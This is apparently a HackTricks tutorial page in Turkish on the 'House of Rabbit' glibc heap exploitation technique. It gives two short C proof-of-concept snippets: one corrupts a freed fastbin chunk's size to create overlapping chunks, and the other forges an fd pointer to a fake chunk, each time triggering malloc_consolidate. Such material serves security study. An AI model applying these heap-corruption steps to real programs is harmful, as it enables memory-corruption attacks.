# House of Rabbit {{#include ../../banners/hacktricks-training.md}} ### Gereksinimler 1. **Hızlı bin fd işaretçisini veya boyutunu değiştirme yeteneği**: Bu, hızlı bin içindeki bir parçanın ileri işaretçisini veya boyutunu değiştirebileceğiniz anlamına gelir. 2. **`malloc_consolidate` tetikleme yeteneği**: Bu, ya büyük bir parça ayırarak ya da üst parçayı birleştirerek yapılabilir; bu, yığın parçalarını birleştirmeye zorlar. ### Hedefler 1. **Üst üste binen parçalar oluşturma**: Bir parçanın diğerinin üstüne gelmesini sağlamak, böylece daha fazla yığın manipülasyonu yapılmasına olanak tanımak. 2. **Sahte parçalar oluşturma**: Yığın işlemleri sırasında sahte bir parçayı meşru bir parça olarak ele alması için ayırıcıyı kandırmak. ## Saldırı Adımları ### POC 1: Hızlı bin parça boyutunu değiştirme **Amaç**: Hızlı bin parçasının boyutunu manipüle ederek üst üste binen bir parça oluşturmak. - **Adım 1: Parçaları Ayır** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x40); // Allocates another chunk of 0x40 bytes at 0x602050 malloc(0x10); // Allocates a small chunk to change the fastbin state ``` İki adet 0x40 baytlık parça ayırıyoruz. Bu parçalar serbest bırakıldıklarında hızlı kutu listesine yerleştirilecektir. - **Adım 2: Parçaları Serbest Bırak** ```cpp free(chunk1); // Frees the chunk at 0x602000 free(chunk2); // Frees the chunk at 0x602050 ``` İki parçayı serbest bırakıyoruz ve bunları fastbin listesine ekliyoruz. - **Adım 3: Parça Boyutunu Değiştir** ```cpp chunk1[-1] = 0xa1; // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1]) ``` `chunk1`'in boyut meta verisini 0xa1 olarak değiştiriyoruz. Bu, birleştirme sırasında allocator'ı kandırmak için kritik bir adımdır. - **Adım 4: `malloc_consolidate`'i Tetikle** ```cpp malloc(0x1000); // Allocate a large chunk to trigger heap consolidation ``` Büyük bir parça ayırmak, hızlı bin içindeki küçük parçaları birleştiren `malloc_consolidate` fonksiyonunu tetikler. Manipüle edilmiş `chunk1` boyutu, `chunk2` ile örtüşmesine neden olur. Konsolidasyondan sonra, `chunk1` `chunk2` ile örtüşür ve daha fazla istismar olanağı sağlar. ### POC 2: `fd` işaretçisini değiştir **Amaç**: Hızlı bin `fd` işaretçisini manipüle ederek sahte bir parça oluşturmak. - **Adım 1: Parçaları Ayır** ```cpp unsigned long* chunk1 = malloc(0x40); // Allocates a chunk of 0x40 bytes at 0x602000 unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050 ``` **Açıklama**: Yığın için sahte parça oluşturmak üzere bir küçük ve bir büyük iki parça ayırıyoruz. - **Adım 2: Sahte parça oluştur** ```cpp chunk2[1] = 0x31; // Fake chunk size 0x30 chunk2[7] = 0x21; // Next fake chunk chunk2[11] = 0x21; // Next-next fake chunk ``` `chunk2` içine sahte parça meta verisi yazarak daha küçük parçaları simüle ediyoruz. - **Adım 3: `chunk1`'i serbest bırak** ```cpp free(chunk1); // Frees the chunk at 0x602000 ``` **Açıklama**: `chunk1`'i serbest bırakıyoruz, hızlı listeye ekliyoruz. - **Adım 4: `chunk1`'in `fd`'sini Değiştir** ```cpp chunk1[0] = 0x602060; // Modify the fd of chunk1 to point to the fake chunk within chunk2 ``` **Açıklama**: `chunk1`'in ileri işaretçisini (`fd`) `chunk2` içindeki sahte parçamıza işaret edecek şekilde değiştiriyoruz. - **Adım 5: `malloc_consolidate`'i tetikle** ```cpp malloc(5000); // Allocate a large chunk to trigger heap consolidation ``` Büyük bir parça yeniden tahsis edildiğinde `malloc_consolidate` tetiklenir, bu da sahte parçayı işler. Sahte parça, hızlı listeye dahil olur ve bu da onu daha fazla istismar için meşru bir parça haline getirir. ### Özet **House of Rabbit** tekniği, bir hızlı parça boyutunu değiştirerek üst üste binen parçalar oluşturmayı veya sahte parçalar oluşturmak için `fd` işaretçisini manipüle etmeyi içerir. Bu, saldırganların yığında meşru parçalar oluşturmasına olanak tanır ve çeşitli istismar biçimlerini mümkün kılar. Bu adımları anlamak ve uygulamak, yığın istismar becerilerinizi geliştirecektir. {{#include ../../banners/hacktricks-training.md}}